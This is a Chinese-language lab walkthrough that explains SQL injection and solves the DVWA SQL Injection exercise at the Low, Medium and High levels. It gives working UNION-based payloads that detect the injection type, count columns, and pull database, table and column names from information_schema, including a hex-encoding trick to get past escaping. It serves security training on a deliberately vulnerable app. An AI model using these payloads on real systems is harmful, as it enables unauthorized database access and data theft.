一、 SQL注入原理
SQL注入,是指用户输入的数据拼接恶意SQL语句,未进行检验及过滤处理,攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。
二、 SQL注入挖掘(显错)
- 判断是否存在注入,字符型或数字型
- 猜解字段长
- 判断显错点
- 获取库、表、字段
三、 DVWA_SQL Injection
Low后端源码未对参数id进行任何检验及过滤,明显存在SQL注入
漏洞复现
1. 判断是否存在注入,类型
#1
#4’-’3
测试,返回结果同上,可判断存在sql字符型注入
2. 判断表字段长
#1' order by 2 --
返回正常
#1' order by 3 --
返回Unknown column '3' in 'order clause',可判断表字段长为2
3. 判断显错点
#1.1' union select 6,8 --
返回显示均可利用
4. 查询库名
#1.1' union select database(),8 --
查询库名’dvwa’
可依次查询表、字段
#1.1' union select 6,group_concat(table_name) from information_schema.tables where table_schema=database() --
#1.1' union select 6,group_concat(column_name) from information_schema.columns where table_name=’users’ --
medium后端源码使用mysqli_real_escape_string对参数id输入进行投射字符转义,且增加了下拉框,可抓包修改参数
#mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。
漏洞复现
1.判断是否存在注入,类型
#1
#4-3
测试,返回结果同上,可判断存在sql数字型注入
2.判断表字段长
#1 order by 2 --
返回正常
#1' order by 3 --
返回Unknown column '3' in 'order clause',可判断表字段长为2
3.判断显错点
#1.1 union select 6,8 --
返回显示均可利用
4.查询库名
#1.1 union select database(),8 --
查询库名’dvwa’
可依次查询表、字段(特殊字符16进制编码即可)
#1.1 union select 6,group_concat(table_name) from information_schema.tables where table_schema=database() --
#1.1 union select 6,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --
High可以看到,与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。
漏洞复现
测试和low没啥区别
1.判断是否存在注入,类型
#1
#2’-’1
测试,返回结果同上,可判断存在sql字符型注入
2.判断表字段长
#1' order by 2 --
返回正常
#1' order by 3 --
返回Unknown column '3' in 'order clause',可判断表字段长为2
3.判断显错点
#1.1' union select 6,8 --
4.查询库名
#1.1' union select database(),8 --
可依次查询表、字段
#1.1' union select 6,group_concat(table_name) from information_schema.tables where table_schema=database() --
#1.1' union select 6,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --